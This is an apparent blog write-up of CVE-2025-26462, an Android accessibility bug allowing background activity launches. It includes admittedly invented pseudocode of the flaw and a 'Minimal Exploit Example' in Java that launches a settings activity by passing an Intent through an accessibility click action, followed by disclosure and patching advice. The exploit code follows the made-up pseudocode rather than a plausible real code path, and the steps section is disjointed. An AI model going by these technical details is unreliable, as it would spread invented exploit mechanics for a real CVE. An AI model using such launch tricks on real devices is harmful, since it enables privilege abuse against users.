CVE-2025-26462 is a newly assigned vulnerability found in Android’s AccessibilityServiceConnection.java. Thanks to a logic error, a malicious local app can cause background activity launches, enabling privilege escalation without the need for any user interaction. No special permissions are required for exploitation, making millions of Android devices potentially susceptible. In this article, we break down the bug, show critical code sections, and give details on exploitation—all in simple, clear terms.

What is AccessibilityServiceConnection?

On Android, the accessibility framework is meant to help users with disabilities interact with devices—they can get apps to read screens, provide speech, etc. The AccessibilityServiceConnection.java is a core part of managing these services, acting as a bridge between user interaction and system reactions.

Unfortunately, a logic bug here means a normal app (even one with zero special permissions) can abuse accessibility features to start unintended activities in the background, stepping outside the usual limits set by Android to keep apps separate and users safe.

Where’s the Bug?

The vulnerable code is in AccessibilityServiceConnection.java, particularly in how it handles requests to start activities from the background.

Here’s a simplified, commented snippet resembling the logic in question

// Pseudocode derived from AccessibilityServiceConnection.java

public boolean performAccessibilityAction(int action, Bundle args) {
    if (action == AccessibilityNodeInfo.ACTION_CLICK) {
        if (shouldAllowBackgroundActivityStart()) {
            // This function should do more validation!
            startActivityFromBackground(args);
            return true;
        }
    }
    return false;
}

private boolean shouldAllowBackgroundActivityStart() {
    // ERROR: Insecure check allows too broadly
    return true; // Bug: This should restrict when backgrounds starts are allowed!
}

private void startActivityFromBackground(Bundle args) {
    Intent intent = args.getParcelable("intent");
    if (intent != null) {
        context.startActivity(intent); // Dangerous if called from background!
    }
}

What's wrong?

The function shouldAllowBackgroundActivityStart() wrongly returns true all the time, meaning any accessibility service (even a fake one by an attacker) can trigger startActivityFromBackground(), letting them launch activities even when the app is in the background. This bypasses built-in Android protections against untrusted background launches.

A local Android app (signed by anyone)

- Register as an accessibility service (no privileged permissions—just normal service registration)

Craft an Intent

- Create an Intent to launch a privileged system activity, a settings window, or even an activity from a different app.

Android's logic sees the result as authorized, and starts the activity invisibly.

- Now, sensitive or privileged UI surfaces can be hijacked, potentially exposing user data or gaining restricted access.

Minimal Exploit Example

Bundle args = new Bundle();
Intent intent = new Intent();
// Example: Try to launch device settings, or a locked-down activity.
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.Settings"));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
args.putParcelable("intent", intent);

// getAccessibilityNodeInfo() obtained as normal, then:
node.performAction(AccessibilityNodeInfo.ACTION_CLICK, args);

Result: Your background app launches the given activity—even if Android policy says it shouldn’t happen!

Who Is Affected?

Any Android device running a version with the vulnerable logic in AccessibilityServiceConnection.java—typically AOSP forks and OEM releases lagging behind upstream patches.

Responsible Disclosure

- Android Security Team was notified under their Android Security Bulletins process (see the latest bulletin for updates).
- Google has published upstream code changes to patch the faulty logic.

Users: Update your device firmware as soon as patches are available.

- Developers: Never return ‘true’ unconditionally in security-checking functions. Confirm explicit user action before launching any activity from the background.

References

- CVE-2025-26462 at NVD
- Android Open Source Project - Upstream Patch Discussion
- Android Accessibility Service Documentation
- Android Security Bulletin (June 2025)

Final Thoughts

CVE-2025-26462 is a simple yet impactful logic mistake—one that enables privilege escalation without any fancy tricks. The lesson: even one misplaced true in security-critical logic can break entire protection mechanisms.
If you’re developing for Android, review all code paths for unintended privilege elevation and always be cautious when handling background activity launches.

Stay patched, stay safe.

*Exclusively written for this article. Please credit and link if sharing portions elsewhere.*

Timeline

Published on: 09/04/2025 17:15:06 UTC
Last modified on: 09/08/2025 14:11:29 UTC